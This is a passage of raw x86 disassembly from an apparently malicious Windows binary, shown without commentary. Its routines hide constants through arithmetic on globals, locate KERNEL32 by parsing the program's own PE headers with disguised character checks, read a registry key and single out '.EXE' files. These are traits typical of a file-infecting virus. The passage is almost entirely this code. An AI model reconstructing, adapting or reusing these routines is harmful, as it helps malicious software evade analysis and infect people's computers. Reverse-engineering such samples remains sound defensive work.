eax, 8 push eax call ds:dword_44B5B4 mov esi, eax or esi, esi jz short loc_43CDCB mov eax, dword_5511A0 add eax, dword_55119C sub eax, 0Ch cmp dword_551270, eax jz short loc_43CDEC mov eax, dword_5510D8 add eax, dword_55112C sub eax, 0Dh neg eax push eax lea eax, [ebp+var_212] push eax movsx eax, word_551118 add eax, dword_55118C sub eax, 9 push eax call ds:dword_448024 loc_43CDCB: ; CODE XREF: sub_43CBE6+182j ; sub_43CBE6+19Ej push ds:dword_44B5C4 push ds:dword_4CE8FC lea eax, [ebp+var_316] push eax call sub_43B5D8 add esp, 0Ch mov [ebp+var_31C], eax loc_43CDEC: ; CODE XREF: sub_43CBE6+1B4j pop edi pop esi pop ebx leave retn sub_43CBE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CDF1 proc near ; CODE XREF: sub_44077A+183p var_12110 = byte ptr -12110h var_1210C = word ptr -1210Ch var_1210A = word ptr -1210Ah var_12108 = dword ptr -12108h var_12104 = byte ptr -12104h var_12000 = word ptr -12000h var_11FFE = byte ptr -11FFEh var_1FFF = byte ptr -1FFFh var_1FB3 = byte ptr -1FB3h var_1FB2 = byte ptr -1FB2h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 12110h call sub_4475B4 push ebx push esi push edi push [ebp+arg_0] lea eax, [ebp+var_12104] push eax call sub_4475D4 lea ecx, [ebp+var_12104] or eax, 0FFFFFFFFh loc_43CE19: ; CODE XREF: sub_43CDF1+2Dj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43CE19 mov ebx, dword_5511B4 sub ebx, 3 mov esi, eax sub esi, ebx movsx ebx, word_5510D0 sub ebx, 6 mov [ebp+esi+var_12104], bl movsx eax, word_551194 add eax, dword_55118C sub eax, 2 push eax movsx eax, word_551144 sub eax, 4 push eax push 3 movsx eax, word_5511E8 add eax, dword_5511B8 sub eax, 0Bh push eax push dword_5511DC push 80000001h lea eax, [ebp+var_12104] push eax call ds:dword_54FB18 mov edi, eax cmp edi, 0FFFFFFFFh jz loc_43D0C1 movsx eax, word_551240 sub eax, 8 push eax lea eax, [ebp+var_12110] push eax push 1FFFh lea eax, [ebp+var_1FFF] push eax push edi call ds:dword_448034 mov [ebp+var_12108], eax push edi call ds:dword_4CD948 cmp [ebp+var_1FFF], 4Ch jnz loc_43D0C1 mov eax, dword_5510AC sub eax, 7 cmp [ebp+var_12108], eax jz loc_43D0C1 movzx esi, [ebp+var_1FB3] movzx ebx, [ebp+var_1FB2] movzx ebx, bx shl ebx, 8 or esi, ebx mov [ebp+var_1210A], si movzx eax, [ebp+var_1210A] mov edx, dword_5511DC add edx, 44h add edx, dword_551108 add eax, edx mov edx, dword_5510F0 dec edx add eax, edx mov [ebp+var_12000], ax movzx eax, [ebp+var_12000] movsx eax, [ebp+eax+var_1FFF] movsx edx, word_5510FC add edx, dword_5511B4 sub edx, 6 cmp eax, edx jz loc_43D0C1 movzx eax, [ebp+var_12000] mov edx, dword_5511FC add edx, 3 add edx, dword_5510E4 add eax, edx movsx eax, [ebp+eax+var_1FFF] mov edx, dword_5510BC add edx, dword_551188 sub edx, 4 cmp eax, edx jnz loc_43D0C1 movzx eax, [ebp+var_12000] mov edx, dword_55120C add edx, 0Ch mov ecx, eax add ecx, edx movzx edx, [ebp+ecx+var_1FFF] mov esi, dword_551090 add esi, 0Dh mov ebx, eax add ebx, esi movzx esi, [ebp+ebx+var_1FFF] movzx esi, si shl esi, 8 mov ebx, edx or ebx, esi mov esi, ebx movzx esi, si mov ebx, eax add ebx, esi mov esi, ebx mov [ebp+var_1210C], si movzx eax, [ebp+var_1210C] lea eax, [ebp+eax+var_1FFF] push eax lea eax, [ebp+var_11FFE] push eax call sub_4475D4 lea ecx, [ebp+var_11FFE] or eax, 0FFFFFFFFh loc_43CFF7: ; CODE XREF: sub_43CDF1+20Bj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43CFF7 mov edi, eax mov eax, edi sub eax, dword_551090 cmp [ebp+eax+var_11FFE], 2Eh jnz short loc_43D08F mov eax, dword_5511F4 add eax, dword_5510E8 sub eax, 7 mov edx, edi sub edx, eax movsx eax, [ebp+edx+var_11FFE] push eax call ds:dword_44803C add esp, 4 cmp eax, 45h jnz short loc_43D08F mov esi, dword_551098 add esi, dword_551188 sub esi, 0Ch mov ebx, edi sub ebx, esi movsx esi, [ebp+ebx+var_11FFE] push esi call ds:dword_44803C add esp, 4 cmp eax, 58h jnz short loc_43D08F mov esi, dword_551170 add esi, dword_55114C sub esi, 5 mov ebx, edi sub ebx, esi movsx esi, [ebp+ebx+var_11FFE] push esi call ds:dword_44803C add esp, 4 cmp eax, 45h jz short loc_43D091 loc_43D08F: ; CODE XREF: sub_43CDF1+21Fj ; sub_43CDF1+248j ... jmp short loc_43D0C1 ; --------------------------------------------------------------------------- loc_43D091: ; CODE XREF: sub_43CDF1+29Cj push offset dword_552820 call sub_43CAF7 push eax lea edi, [ebp+var_11FFE] push edi call ds:dword_44802C mov eax, dword_5510D8 sub eax, 6 push eax lea eax, [ebp+var_11FFE] push eax call sub_43CBE6 add esp, 14h loc_43D0C1: ; CODE XREF: sub_43CDF1+99j ; sub_43CDF1+D8j ... pop edi pop esi pop ebx leave retn sub_43CDF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D0C6 proc near ; CODE XREF: sub_443ADA+63p var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = word ptr -80h var_40 = word ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi mov ebx, dword_551090 sub ebx, 4 jmp short loc_43D0EC ; --------------------------------------------------------------------------- loc_43D0DD: ; CODE XREF: sub_43D0C6+30j mov edx, dword_551178 sub edx, 9 mov [ebp+ebx*2+var_40], dx inc ebx loc_43D0EC: ; CODE XREF: sub_43D0C6+15j mov eax, dword_551248 add eax, 1Ch cmp ebx, eax jb short loc_43D0DD movsx eax, word_5511F0 movsx edx, word_551148 mov esi, eax add esi, edx sub esi, 7 jmp short loc_43D120 ; --------------------------------------------------------------------------- loc_43D10F: ; CODE XREF: sub_43D0C6+65j mov edx, esi shl edx, 1 mov ecx, [ebp+arg_4] mov cx, [ecx+esi*2] mov [ebp+edx+var_80], cx inc esi loc_43D120: ; CODE XREF: sub_43D0C6+47j mov eax, dword_551114 lea eax, [eax+eax+1Eh] cmp esi, eax jb short loc_43D10F lea eax, dword_54EAC0 mov [ebp+var_88], eax mov eax, dword_5511D0 sub eax, 7 mov [ebp+var_84], eax loc_43D147: ; CODE XREF: sub_43D0C6+12Cj ; sub_43D0C6+144j push [ebp+var_84] push [ebp+arg_0] call sub_441B90 add esp, 8 mov [ebp+var_8C], eax mov eax, dword_5510BC inc eax cmp [ebp+var_8C], eax jnz short loc_43D1A7 lea eax, [ebp+var_80] push eax lea eax, [ebp+var_40] push eax call sub_445AFA mov [ebp+var_90], eax push [ebp+var_88] lea eax, [ebp+var_40] push eax call sub_442478 add esp, 10h or eax, eax jz short loc_43D1A7 push [ebp+var_88] lea eax, [ebp+var_40] push eax call sub_43B46B add esp, 8 loc_43D1A7: ; CODE XREF: sub_43D0C6+A4j ; sub_43D0C6+CDj inc [ebp+var_84] mov eax, dword_551238 add eax, 20h mov edx, dword_5511DC add edx, 0Ah add edx, dword_5510E0 imul eax, edx cmp [ebp+var_84], eax jnb short loc_43D20F lea eax, [ebp+var_80] push eax call sub_43D71B mov [ebp+var_90], eax push [ebp+var_88] lea eax, [ebp+var_80] push eax call sub_442478 add esp, 0Ch or eax, eax jz loc_43D147 push [ebp+var_88] lea eax, [ebp+var_80] push eax call sub_43B46B add esp, 8 jmp loc_43D147 ; --------------------------------------------------------------------------- loc_43D20F: ; CODE XREF: sub_43D0C6+107j mov edi, dword_551228 sub edi, 8 jmp short loc_43D22B ; --------------------------------------------------------------------------- loc_43D21A: ; CODE XREF: sub_43D0C6+16Fj mov edx, edi shl edx, 1 mov ecx, [ebp+arg_0] mov dx, [ebp+edx+var_40] mov [ecx+edi*2], dx inc edi loc_43D22B: ; CODE XREF: sub_43D0C6+152j mov eax, dword_55110C add eax, 1Eh cmp edi, eax jb short loc_43D21A pop edi pop esi pop ebx leave retn sub_43D0C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D23C proc near ; CODE XREF: sub_445E8D+EBp ; sub_445E8D+113p ... var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx push ebx push edi movzx eax, [ebp+arg_0] mov ecx, 2Bh mov edx, 2FA0BE83h mul edx shr edx, 3 mov [ebp+var_4], edx mov edi, edx mov ebx, edi mov [ebp+arg_0], bl movzx eax, [ebp+arg_0] movsx edx, word_551198 mov ecx, dword_5511AC lea edx, [edx+ecx+1] cmp eax, edx jnz short loc_43D282 mov eax, 6Fh jmp loc_43D305 ; --------------------------------------------------------------------------- loc_43D282: ; CODE XREF: sub_43D23C+3Aj movzx eax, [ebp+arg_0] mov edx, dword_5511AC movsx ecx, word_551244 add edx, ecx sub edx, 8 cmp eax, edx jnz short loc_43D2A3 mov eax, 79h jmp short loc_43D305 ; --------------------------------------------------------------------------- loc_43D2A3: ; CODE XREF: sub_43D23C+5Ej movzx eax, [ebp+arg_0] mov edx, dword_551130 add edx, 2 cmp eax, edx jnz short loc_43D2BB mov eax, 69h jmp short loc_43D305 ; --------------------------------------------------------------------------- loc_43D2BB: ; CODE XREF: sub_43D23C+76j movzx eax, [ebp+arg_0] mov edx, dword_5511AC add edx, dword_55111C sub edx, 4 cmp eax, edx jnz short loc_43D2D9 mov eax, 65h jmp short loc_43D305 ; --------------------------------------------------------------------------- loc_43D2D9: ; CODE XREF: sub_43D23C+94j movzx eax, [ebp+arg_0] mov edx, dword_551110 sub edx, 4 cmp eax, edx jnz short loc_43D2F1 mov eax, 61h jmp short loc_43D305 ; --------------------------------------------------------------------------- loc_43D2F1: ; CODE XREF: sub_43D23C+ACj movzx eax, [ebp+arg_0] mov edx, dword_5510E8 inc edx cmp eax, edx jnz short loc_43D305 mov eax, 75h loc_43D305: ; CODE XREF: sub_43D23C+41j ; sub_43D23C+65j ... pop edi pop ebx leave retn sub_43D23C endp ; =============== S U B R O U T I N E ======================================= sub_43D309 proc near ; CODE XREF: sub_446ED7+11p push edi push offset byte_552811 call sub_43CAF7 pop ecx push eax call ds:dword_44B598 mov dword_551274, eax mov eax, dword_5510C0 movsx edx, word_5511CC add eax, edx sub eax, 0Bh cmp dword_551274, eax jnz short loc_43D351 push offset word_552802 call sub_43CAF7 pop ecx push eax call ds:dword_48C218 mov dword_551274, eax loc_43D351: ; CODE XREF: sub_43D309+2Fj push offset word_5527EE call sub_43CAF7 pop ecx push eax push dword_551274 call ds:dword_44B1AC mov ds:dword_48BA00, eax pop edi retn sub_43D309 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D370 proc near ; CODE XREF: sub_441052+5A5p ; sub_441052+614p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [ebp+arg_8] mov edx, [ebp+arg_C] not edx mov ecx, esi or ecx, edx xor eax, ecx mov edx, edi add edx, eax mov eax, edx add eax, [ebp+arg_10] mov edi, eax add edi, [ebp+arg_18] push [ebp+arg_14] push edi call sub_43F3EA add esp, 8 mov edi, eax add edi, esi mov eax, edi pop edi pop esi pop ebp retn sub_43D370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D3AD proc near ; CODE XREF: sub_446250+2AAp var_54 = byte ptr -54h var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 54h push ebx push esi push edi mov esi, [ebp+arg_0] push 4 push 1000h mov eax, [ebp+arg_4] add eax, 40h jge short loc_43D3CB add eax, 3Fh loc_43D3CB: ; CODE XREF: sub_43D3AD+19j sar eax, 6 mov edi, eax shl edi, 6 push edi push 0 call ds:dword_48C21C mov [ebp+var_14], eax mov edi, [ebp+arg_4] movsx edx, word_551208 mov ecx, dword_551234 lea edx, [edx+ecx+37h] mov eax, edi add eax, edx jge short loc_43D3FC add eax, 3Fh loc_43D3FC: ; CODE XREF: sub_43D3AD+4Aj sar eax, 6 movsx edi, word_551190 mov ecx, dword_5511F8 lea edi, [edi+ecx+35h] mov edx, eax imul edx, edi push edx push [ebp+var_14] call ds:dword_448038 push [ebp+arg_4] push esi push [ebp+var_14] call ds:dword_4CD814 lea eax, [ebp+var_10] push eax call sub_441A9F add esp, 10h mov esi, [ebp+var_14] movsx eax, word_551104 movsx edx, word_551198 mov ebx, eax add ebx, edx dec ebx jmp short loc_43D46F ; --------------------------------------------------------------------------- loc_43D450: ; CODE XREF: sub_43D3AD+DCj push esi lea eax, [ebp+var_10] push eax call sub_441052 add esp, 8 mov eax, dword_551100 add eax, 2Fh add eax, dword_551120 lea esi, [esi+eax] inc ebx loc_43D46F: ; CODE XREF: sub_43D3AD+A1j mov edi, [ebp+arg_4] mov edx, dword_5511F4 add edx, 37h mov eax, edi add eax, edx jge short loc_43D484 add eax, 3Fh loc_43D484: ; CODE XREF: sub_43D3AD+D2j sar eax, 6 cmp ebx, eax jl short loc_43D450 push 8000h mov eax, dword_551124 sub eax, 2 push eax push [ebp+var_14] call ds:dword_4CD810 lea eax, [ebp+var_54] push eax push [ebp+arg_8] call sub_443ADA mov eax, dword_551178 add eax, 7 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax call ds:dword_50E940 add esp, 14h mov edi, dword_5510E4 sub edi, 5 cmp eax, edi jz short loc_43D4DA xor eax, eax inc eax jmp short loc_43D4DC ; --------------------------------------------------------------------------- loc_43D4DA: ; CODE XREF: sub_43D3AD+126j xor eax, eax loc_43D4DC: ; CODE XREF: sub_43D3AD+12Bj pop edi pop esi pop ebx leave retn sub_43D3AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D4E1 proc near ; DATA XREF: .data:005512D0o push ebp mov ebp, esp mov eax, dword_5511D0 sub eax, 7 cmp ds:dword_54FF3C, eax jbe short loc_43D4FF push offset dword_54FF3C call ds:dword_448014 loc_43D4FF: ; CODE XREF: sub_43D4E1+11j mov eax, ds:dword_54FF3C pop ebp retn 4 sub_43D4E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D508 proc near ; DATA XREF: .data:005512F4o push ebp mov ebp, esp mov eax, dword_551230 add eax, dword_551124 sub eax, 3 cmp ds:dword_44B5B8, eax jbe short loc_43D52C push offset dword_44B5B8 call ds:dword_448014 loc_43D52C: ; CODE XREF: sub_43D508+17j mov eax, ds:dword_44B5B8 pop ebp retn 4 sub_43D508 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D535 proc near ; DATA XREF: sub_443843+53o var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_1FE = byte ptr -1FEh var_FF = byte ptr -0FFh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 21Ch push ebx push esi push edi lea eax, [ebp+var_210] push eax push offset dword_44B0A0 call sub_4457E1 add esp, 8 mov [ebp+var_208], eax movsx eax, word_551194 movsx edx, word_551198 add eax, edx sub eax, 2 cmp [ebp+var_208], eax jnz short loc_43D57D xor eax, eax jmp loc_43D70E ; --------------------------------------------------------------------------- loc_43D57D: ; CODE XREF: sub_43D535+3Fj mov eax, dword_551214 add eax, dword_5510EC mov [ebp+var_204], eax loc_43D58E: ; CODE XREF: sub_43D535+1C5j mov eax, [ebp+var_204] mov edx, [ebp+var_208] lea ecx, [edx+eax] or eax, 0FFFFFFFFh loc_43D5A0: ; CODE XREF: sub_43D535+70j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43D5A0 mov [ebp+var_20C], eax cmp [ebp+var_20C], 0FFh jnb short loc_43D5E3 mov eax, [ebp+var_204] mov edx, dword_551224 add edx, dword_5511F8 sub edx, 3 add eax, edx add eax, [ebp+var_208] push eax lea eax, [ebp+var_FF] push eax call sub_4475D4 loc_43D5E3: ; CODE XREF: sub_43D535+82j movsx esi, word_5510A8 jmp short loc_43D611 ; --------------------------------------------------------------------------- loc_43D5EC: ; CODE XREF: sub_43D535+EEj cmp [ebp+esi+var_FF], 29h jnz short loc_43D5FE mov [ebp+esi+var_FF], 3Dh loc_43D5FE: ; CODE XREF: sub_43D535+BFj cmp [ebp+esi+var_FF], 28h jnz short loc_43D610 mov [ebp+esi+var_FF], 2Bh loc_43D610: ; CODE XREF: sub_43D535+D1j inc esi loc_43D611: ; CODE XREF: sub_43D535+B5j lea ecx, [ebp+var_FF] or eax, 0FFFFFFFFh loc_43D61A: ; CODE XREF: sub_43D535+EAj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43D61A cmp esi, eax jb short loc_43D5EC push 0FFh lea eax, [ebp+var_1FE] push eax lea eax, [ebp+var_FF] push eax call sub_446AA8 add esp, 0Ch mov ebx, eax movsx edi, word_551094 sub edi, 2 jmp short loc_43D67C ; --------------------------------------------------------------------------- loc_43D64E: ; CODE XREF: sub_43D535+149j movsx eax, [ebp+edi+var_1FE] mov [ebp+var_218], eax mov eax, edi mul edi mov [ebp+var_21C], eax mov eax, [ebp+var_218] mov edx, [ebp+var_21C] sub eax, edx mov [ebp+edi+var_1FE], al inc edi loc_43D67C: ; CODE XREF: sub_43D535+117j cmp edi, ebx jb short loc_43D64E mov eax, dword_55123C add eax, dword_5511EC sub eax, 2 push eax push [ebp+arg_0] lea eax, [ebp+var_1FE] push eax call sub_43FE22 add esp, 0Ch mov [ebp+var_214], eax mov eax, dword_551180 add eax, 0FFFBh add eax, dword_55120C cmp [ebp+var_214], eax jz short loc_43D6D0 push [ebp+var_208] call ds:dword_44B5CC xor eax, eax inc eax jmp short loc_43D70E ; --------------------------------------------------------------------------- loc_43D6D0: ; CODE XREF: sub_43D535+188j mov eax, [ebp+var_20C] add [ebp+var_204], eax mov eax, dword_55118C inc eax add eax, dword_551158 add [ebp+var_204], eax mov eax, [ebp+var_210] cmp [ebp+var_204], eax jb loc_43D58E push [ebp+var_208] call ds:dword_44B5CC xor eax, eax loc_43D70E: ; CODE XREF: sub_43D535+43j ; sub_43D535+199j pop edi pop esi pop ebx leave retn sub_43D535 endp ; =============== S U B R O U T I N E ======================================= sub_43D713 proc near ; DATA XREF: .data:005512D4o mov eax, 80004001h retn 8 sub_43D713 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D71B proc near ; CODE XREF: sub_43D0C6+10Dp var_40 = word ptr -40h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push ebx push esi push edi mov esi, [ebp+arg_0] movsx eax, word_551148 mov edi, eax add edi, dword_5511C0 sub edi, 2 jmp short loc_43D749 ; --------------------------------------------------------------------------- loc_43D73B: ; CODE XREF: sub_43D71B+3Ej mov ebx, edi shl ebx, 1 mov dx, [esi+edi*2] mov [ebp+ebx+var_40], dx inc edi loc_43D749: ; CODE XREF: sub_43D71B+1Ej mov eax, dword_551140 add eax, 1Fh add eax, dword_5511DC cmp edi, eax jb short loc_43D73B lea eax, [ebp+var_40] push eax push esi call sub_445AFA add esp, 8 pop edi pop esi pop ebx leave retn sub_43D71B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D76D proc near ; CODE XREF: start+1p var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_127 = byte ptr -127h var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 138h push ebx push esi push edi lea edx, sub_446ED7 mov ecx, dword_55117C add ecx, 9 mov eax, edx shr eax, cl mov edx, dword_551230 add edx, 7 add edx, dword_5511D4 mov ecx, edx mov ebx, eax shl ebx, cl lea eax, sub_446ED7 mov [ebp+var_14], eax loc_43D7AA: ; CODE XREF: sub_43D76D+5Fj ; sub_43D76D+90j ... mov [ebp+var_18], ebx mov eax, ebx cmp word ptr [eax], 5A4Dh jz short loc_43D7CE movsx eax, word_551148 mov edx, dword_5510E0 lea eax, [eax+edx+0FFF9h] sub ebx, eax jmp short loc_43D7AA ; --------------------------------------------------------------------------- loc_43D7CE: ; CODE XREF: sub_43D76D+47j mov eax, dword_5511E0 add eax, 38h mov esi, ebx add esi, eax mov eax, ebx add eax, [esi] mov [ebp+var_10], eax mov ecx, [ebp+var_14] cmp eax, ecx jbe short loc_43D7FF mov eax, dword_551120 add eax, 0FFF2h movsx edx, word_5510D0 add eax, edx sub ebx, eax jmp short loc_43D7AA ; --------------------------------------------------------------------------- loc_43D7FF: ; CODE XREF: sub_43D76D+79j mov eax, [ebp+var_10] mov [ebp+var_8], eax movzx eax, word ptr [eax] cmp eax, 4550h jz short loc_43D81F movsx eax, word_5510F8 add eax, 0FFFBh sub ebx, eax jmp short loc_43D7AA ; --------------------------------------------------------------------------- loc_43D81F: ; CODE XREF: sub_43D76D+A0j mov eax, [ebp+var_8] mov eax, [eax+80h] mov [ebp+var_C], eax mov eax, dword_5511B4 sub eax, 4 mov [ebp+var_4], eax jmp loc_43D9B7 ; --------------------------------------------------------------------------- loc_43D83B: ; CODE XREF: sub_43D76D+256j mov eax, ebx add eax, [ebp+var_C] add eax, [ebp+var_4] mov [ebp+var_12C], eax mov edx, dword_5510D4 sub edx, 5 cmp [eax], edx jz loc_43D9C9 mov eax, [ebp+var_12C] mov edx, ebx add edx, [eax+0Ch] mov [ebp+var_130], edx push edx lea eax, [ebp+var_127] push eax call sub_4475D4 mov eax, dword_5511B0 add eax, dword_551178 sub eax, 10h mov [ebp+var_28], eax jmp short loc_43D8AD ; --------------------------------------------------------------------------- loc_43D88B: ; CODE XREF: sub_43D76D+156j mov eax, [ebp+var_28] mov al, [ebp+eax+var_127] cmp al, 61h jle short loc_43D8AA cmp al, 7Ah jge short loc_43D8AA mov eax, [ebp+var_28] lea eax, [ebp+eax+var_127] sub byte ptr [eax], 20h loc_43D8AA: ; CODE XREF: sub_43D76D+12Aj ; sub_43D76D+12Ej inc [ebp+var_28] loc_43D8AD: ; CODE XREF: sub_43D76D+11Cj mov eax, [ebp+var_28] movsx eax, [ebp+eax+var_127] mov edx, dword_5511B8 sub edx, 4 cmp eax, edx jnz short loc_43D88B mov eax, dword_551160 cmp byte ptr [ebp+eax+var_12C+3], 4Ch jnz loc_43D9B3 mov edx, dword_551098 cmp byte ptr [ebp+edx+var_12C+2], 33h jnz loc_43D9B3 cmp byte ptr [ebp+eax+var_130+2], 4Bh jnz loc_43D9B3 mov eax, dword_55112C add eax, dword_5511FC cmp byte ptr [ebp+eax+var_130+2], 45h jnz loc_43D9B3 movsx eax, word_551144 cmp byte ptr [ebp+eax+var_12C+3], 52h jnz loc_43D9B3 mov eax, dword_55117C add eax, dword_551150 cmp byte ptr [ebp+eax+var_12C+1], 32h jnz short loc_43D9B3 mov eax, [ebp+var_12C] mov edx, ebx add edx, [eax+10h] mov [ebp+var_138], edx mov eax, dword_551150 add eax, dword_55123C sub eax, 4 mov [ebp+var_134], eax loc_43D962: ; CODE XREF: sub_43D76D+242j mov eax, [ebp+var_138] mov esi, eax add esi, [ebp+var_134] mov edi, [esi] mov eax, dword_55120C add eax, dword_5511D4 sub eax, 0Ch cmp edi, eax jz short loc_43D9C9 push edi call sub_43FFC1 pop ecx mov eax, dword_551150 sub eax, 4 cmp dword_551254, eax jnz short loc_43D9C9 mov eax, dword_551124 add eax, dword_55116C sub eax, 3 add [ebp+var_134], eax jmp short loc_43D962 ; --------------------------------------------------------------------------- jmp short loc_43D9C9 ; --------------------------------------------------------------------------- loc_43D9B3: ; CODE XREF: sub_43D76D+165j ; sub_43D76D+179j ... add [ebp+var_4], 14h loc_43D9B7: ; CODE XREF: sub_43D76D+C9j mov eax, [ebp+var_8] mov eax, [eax+84h] cmp [ebp+var_4], eax jb loc_43D83B loc_43D9C9: ; CODE XREF: sub_43D76D+E7j ; sub_43D76D+215j ... mov eax, dword_5511D0 add eax, dword_551248 sub eax, 0Bh cmp dword_551254, eax jz short loc_43DA41 call sub_43E7A3 call sub_43E397 call sub_43DC76 mov edx, eax mov [ebp+var_19], dl movzx eax, [ebp+var_19] mov edx, dword_5510D4 sub edx, 3 cmp eax, edx jz short loc_43DA41 lea eax, [ebp+var_20] push eax mov eax, dword_5511B4 sub eax, 4 push eax lea eax, [ebp+var_24] push eax push offset sub_446ED7 mov eax, dword_55118C add eax, dword_5510D4 sub eax, 6 push eax mov eax, dword_551228 movsx edx, word_5510F8 add eax, edx sub eax, 0Dh push eax call ds:dword_54FF20 loc_43DA41: ; CODE XREF: sub_43D76D+270j ; sub_43D76D+295j pop edi pop esi pop ebx leave retn sub_43D76D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DA46 proc near ; CODE XREF: sub_441052+ABp ; sub_441052+FDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, esi and eax, [ebp+arg_8] mov edx, esi not edx and edx, [ebp+arg_C] or eax, edx mov edx, edi add edx, eax mov eax, edx add eax, [ebp+arg_10] mov edi, eax add edi, [ebp+arg_18] push [ebp+arg_14] push edi call sub_43F3EA add esp, 8 mov edi, eax add edi, esi mov eax, edi pop edi pop esi pop ebp retn sub_43DA46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DA83 proc near ; DATA XREF: sub_4467F2+2Do var_1FFF = byte ptr -1FFFh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2000h call sub_4475B4 push esi push edi push 1FFFh lea eax, [ebp+var_1FFF] push eax push [ebp+arg_0] call ds:dword_54FF38 push offset byte_5527D9 call sub_43CAF7 mov edi, dword_5511F8 sub edi, 2 push edi push eax lea edi, [ebp+var_1FFF] push edi call sub_43FE22 add esp, 10h mov esi, dword_5511F8 add esi, 0FFFCh cmp eax, esi jz short loc_43DAE4 push [ebp+arg_0] call sub_4447CD pop ecx loc_43DAE4: ; CODE XREF: sub_43DA83+56j xor eax, eax inc eax pop edi pop esi leave retn 8 sub_43DA83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DAED proc near ; CODE XREF: sub_441052+212p ; sub_441052+274p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esi, [ebp+arg_C] mov eax, ebx and eax, esi mov edx, [ebp+arg_8] mov ecx, esi not ecx and edx, ecx or eax, edx mov edx, edi add edx, eax mov eax, edx add eax, [ebp+arg_10] mov edi, eax add edi, [ebp+arg_18] push [ebp+arg_14] push edi call sub_43F3EA add esp, 8 mov edi, eax add edi, ebx mov eax, edi pop edi pop esi pop ebx pop ebp retn sub_43DAED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DB30 proc near ; CODE XREF: sub_446250+133p ; DATA XREF: sub_443843+69o var_104 = byte ptr -104h var_FF = byte ptr -0FFh push ebp mov ebp, esp sub esp, 104h push esi push edi mov eax, dword_55110C mov edx, eax add edx, dword_55119C sub edx, 6 push edx add eax, dword_55114C sub eax, 4 push eax push 3 movsx eax, word_551240 add eax, dword_5511A0 sub eax, 10h push eax mov eax, dword_5510C0 sub eax, 2 push eax push 80000000h push offset dword_4CC230 call ds:dword_54FB18 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_43DB90 mov eax, 2Ah jmp short loc_43DBFA ; --------------------------------------------------------------------------- loc_43DB90: ; CODE XREF: sub_43DB30+57j mov eax, dword_551228 movsx edx, word_5510C4 add eax, edx sub eax, 0Eh push eax lea eax, [ebp+var_104] push eax push 0FFh lea eax, [ebp+var_FF] push eax push edi call ds:dword_448034 mov esi, eax push edi call ds:dword_4CD948 movzx eax, [ebp+var_FF] mov edx, dword_5511D0 add edx, 1Ah cmp eax, edx jge short loc_43DBE0 mov eax, 2Ah jmp short loc_43DBFA ; --------------------------------------------------------------------------- loc_43DBE0: ; CODE XREF: sub_43DB30+A7j mov eax, dword_55119C sub eax, 4 cmp esi, eax jnz short loc_43DBF3 mov eax, 2Ah jmp short loc_43DBFA ; --------------------------------------------------------------------------- loc_43DBF3: ; CODE XREF: sub_43DB30+BAj movzx eax, [ebp+var_FF] loc_43DBFA: ; CODE XREF: sub_43DB30+5Ej ; sub_43DB30+AEj ... pop edi pop esi leave retn sub_43DB30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DBFE proc near ; CODE XREF: sub_440364+B8p ; sub_440364+273p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp 